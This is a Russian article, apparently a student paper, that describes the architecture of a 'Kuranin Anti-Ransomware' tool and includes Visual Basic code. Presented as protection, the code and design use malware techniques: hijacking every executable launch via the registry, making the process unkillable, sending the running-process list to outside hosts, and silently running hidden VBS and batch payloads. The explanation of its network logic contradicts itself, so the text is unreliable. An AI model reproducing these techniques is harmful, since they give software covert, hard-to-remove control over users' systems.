Принцип работы Kuranin Anti-Ransomware



При написании приложения во внимание бралась проблема сигнатурного сканирования, из-за которого неизвестные программе вирусы могут быть не заблокированы. Основная цель работы Kuranin Anti-Ransomware заключается в том, чтобы предотвратить возможные атаки троянцев-шифровальщиков на компьютер. При этом работа утилиты разбивается на отдельные задачи, которые объединены в одном ядре.

Главный алгоритм выявления характерной для шифровальщиков активности был разработан путем рассмотрения их действия в системе. Kuranin Anti-Ransomware создает в корне диска, на котором установлена операционная система, скрытую директорию с названием “0”, после чего размещает в ней ряд файлов с расширениями наиболее часто шифруемых файлов: документы Microsoft Office, изображения JPG, PNG, BMP, JPEG, GIF и т. д., базы данных 1C, текстовые документы, видеоматериалы AVI, MP4, FLV и т. д. Точно такие же директории размещаются и в разделах файлов пользователя – “Документы”, “Изображения”, “Видео” и т. д. Далее антивирусный компонент постоянно отслеживает содержимое файлов сравнением CRC32 хеш-суммы, прописанной в реестр, с ее текущим значениям. В случае выявления изменений модуль находит процесс, который получал доступ к записи в файл, “замораживает” его, после чего выдает оповещение пользователю. Данный нехитрый способ позволяет бороться более чем с 90% вредоносными программами упомянутого класса.

Второе направление защиты – проверка запускаемых файлов по сигнатурам, или базовое сканирование в режиме реального времени. В данном случае был использован метод в одно время широко распространенного вируса Neshta, согласно которому значение реестра

                                                                      

HKEY_CLASSES_ROOT\exefile\shell\open\command

заменяется на “%Programfiles%\Kuranin\core.exe” “%1” %*, и тем самым команда страта любого исполняемого файла сначала передается ядру защитного приложения, и только после подтверждения его безопасности выполняется запускаемый объект.

Третье направление – защита сети. В данном случае в стандартный hosts-файл Windows прописываются значения для блокировки опасных веб-сайтов, список которых постоянно обновляется, убирая старые и добавляя новые записи. При попытке перехода на зараженную веб-страницу антивирус предупреждает об угрозе, блокируя опасный контент.

Четвертое направление – установка драйвера для создания условий, похожих на виртуальную машину. Как известно, некоторое злонамеренно написанное ПО при запуске проверяет, находится ли оно на реальной системе, и в случае выявления обратного завершает работу. Сделано это для того, чтобы усложнить специалистам рассмотрение образца. Именно это и используется в антивирусе: устанавливая ложный драйвер, можно “обмануть” многие вирусы и предотвратить заражение.

Пятый компонент – файловый ревизор, контролирующий изменения в критически важных системных директориях. Это такие папки, как Windows, System32, Application Data, Application Data Local, Common Files, Drivers, Inf и т. д. Таким же образом происходит контроль автозагрузки: выполняется слежение за директорией запуска, ключами реестра. Многие вредоносные программы самокопируются в системные папки, добавляясь в автозагрузку. Так, известно, что в корне Application Data не должно быть исполняемых файлов, а если они есть, то это в большинстве случаев это вирусы.

Шестой компонент – Kuranin Registry Cleaner. Как известно, многие вредоносные программы оставляют “следы” своей деятельности в реестре, изменяя значения стартовой страницы и многое другое. К тому же, во время работы за компьютером и выполнении операций в реестре также создается немало “мусорных” записей. Утилита “Registry Cleaner” предусматривает их надежное удаление с предварительно сохраненной резервной копией.

Седьмой компонент – создание точек восстановления. Данная функция требует дополнительного пространства на жестком диске, поэтому отключена по умолчанию. Ее можно включить, и тогда каждый час будут сохраняться данные, включающие записи реестра, системные файлы и теневые копии файлов пользователя на случай непредвиденных сбоев ОС.

Восьмой, заключительный компонент – сканирование и вакцинация всех подключаемых съемных накопителей от Autorun-червей. В их список входят USB-флеш-накопители, DVD и CD диски.

Самозащита программы, помимо взаимоконтроля ее компонентов, обладает свойством анти-выгрузки, которая имеет следующий вид:

 

Private Declare Function GetCurrentProcess Lib "kernel32.dll" () As Long Private Declare Function ZwSetInformationProcess Lib "ntdll.dll" (ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long  
Код, запускающий команду самозащиты: ZwSetInformationProcess GetCurrentProcess(), &H21&, VarPtr(&H8000F129), &H4&

 

Посредством предложенного кода модуль узнает PID (идентификационный номер) своего процесса, используя функцию GetCurrentProcess стандартной библиотеки Windows kernel32. dll , после чего устанавливает своеобразный хук (перехват вызовов функций в чужих процессах), запрещающий другим приложениям выгружать рабочие компоненты Anti-Ransomware. Если требуется завершить работу продукта, и команда была послана пользователем, то запускается то же самое ядро со специальными параметрами /stop=Date-key, где key – специально вычисленный по закрытому ключу шифр, получаемый вычислениями числовых данных хеш-сумм рабочих процессов антивирусной утилиты и текущего времени в часах.

Кроме всего вышеперечисленного, в Kuranin Anti-Ransomware предусматриваются звуковые и визуальные оповещения с возможностью их отключения и включения, а также просмотр и очистка лог-файла с записями произошедших событий.

Краткую схему работы можно увидеть на Рисунке 4.

 

Например, один из компонентов защиты в режиме реального времени производит ряд подготовительных операций при загрузке формы (Form_Load):

 

(1) <…> On Error Resume Next ZwSetInformationProcess GetCurrentProcess(), &H21&, VarPtr(&H8000F129), &H4& If App.PrevInstance = True Then End Me.Hide ChDir App.Path CurDir App.Path Text1 = "" Form3.Show Dim hSnapShot As Long Dim uProcess As PROCESSENTRY32 Dim r As Long hSnapShot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&) If hSnapShot = 0 Then Exit Sub End If uProcess.dwSize = Len(uProcess) r = ProcessFirst(hSnapShot, uProcess) Do While r Text1 = Text1 + " " + uProcess.szExeFile r = ProcessNext(hSnapShot, uProcess) Loop Call CloseHandle(hSnapShot) Randomize (2) If FileLen(Environ("windir") & "\system32\MSCOMCTL.OCX") = 0 Then FileCopy App.Path & "\MSCOMCTL.OCX", Environ("windir") & "\system32\MSCOMCTL.OCX" (3) If Not Command Like "*/Start=*" & Date & "*" Then End If Not Command Like "*/hhip0010001011*" And Not Command Like "*/flashs00011001*" And Not Command Like "*/inet0001010101*" And Not Command Like "*/base001011100*" Then End If Command Like "*/hhip0010001011*" Then Timer1 = True If Command Like "*/flashs00011001*" Then Timer14 = True If Command Like "*/inet0001010101*" Then Label1 = Int(Rnd() * 100): Timer15 = True (4) Winsock1.Connect "web02.srv.fullspace.ru", 80 Winsock2.Connect "vh5.webpatron.net", 80 Winsock3.Connect "ip-83-246-149-99.intelbi.ru", 80 Winsock4.Connect "46.166.139.183", 80 Winsock5.Connect "srv241-143-240-87.vk.com", 80 End If <…> (5) If Command Like "*/base001011100*" Then Open Environ("windir") + "\servc.vbs" For Output As #2 Print #2, Label4 Close 2 Shell ("cmd /c if exist %windir%\system32\cscript.bb.exe start /b /wait %windir%\system32\cscript.bb.exe %windir%\servc.vbs & del /f %windir%\servc.vbs"), vbHide Kill Environ("temp") & "\base": Shell ("cmd /c lib.dll x -o+ dbase.dat && move /y base " & """" & "%temp%" & """" & ""), vbHide: Timer16 = True End If Open Environ("windir") + "\perfc" For Append As #82 Close 82 Open Environ("windir") + "\infpub.dat" For Append As #82 Close 82 Shell ("attrib +r " & Environ("windir") + "\infpub.dat"), vbHide Open Environ("windir") + "\servc.bat" For Output As #2 Print #2, Label5 Close 2 Shell ("cmd /c %windir%\servc.bat"), vbHide <...>

 

Это всего лишь малая часть, способная показать последовательность выполняемых действий. Рассмотрим данный пример поподробнее.

Для начала core.exe устанавливает правило полного игнорирования ошибок и составляет полный список имен работающих в памяти процессов (1) для их дальнейшего анализа в облаке (код выделен жирным шрифтом). После этого проверяется наличие необходимого для работы вторичных модулей ActiveX компонента и правильность параметров запуска (2). Заключительный этап подготовки запуска Engine (ядра) приложения – сбор сведений о переданной модулю команде и ее разбивание на составные части, дающие понять, какие именно направления защиты активизировать (3). Происходит подключение к “Системе коллективного разума” (4) с помощью Winsock-контрола, и в случае, если код ошибки подключения не равен нулю (подключение удалось), защита работает в режиме оффлайн (без сети); в противном случае происходит авторизация пользователя согласно ключам его жесткого диска (для каждого компьютера выделяется собственная директория для анализа данных в облаке).

На примере 5 можно увидеть простейший пример общего создания безопасной рабочей среды: ряд вирусов-вымогателей семейства Petya и BadRabbit не запустятся, если в директории Windows будут располагаться пустые файлы “infpub . dat” и “perfc” - подобные условия создает антивирус искусственно. Аналогично, выполняются VBS[9] скрипты, также ликвидирующие простейшие потенциально опасные файлы и настройки системы.

                                                                                                                                 


Дата добавления: 2019-02-22; просмотров: 123; Мы поможем в написании вашей работы!

Поделиться с друзьями:






Мы поможем в написании ваших работ!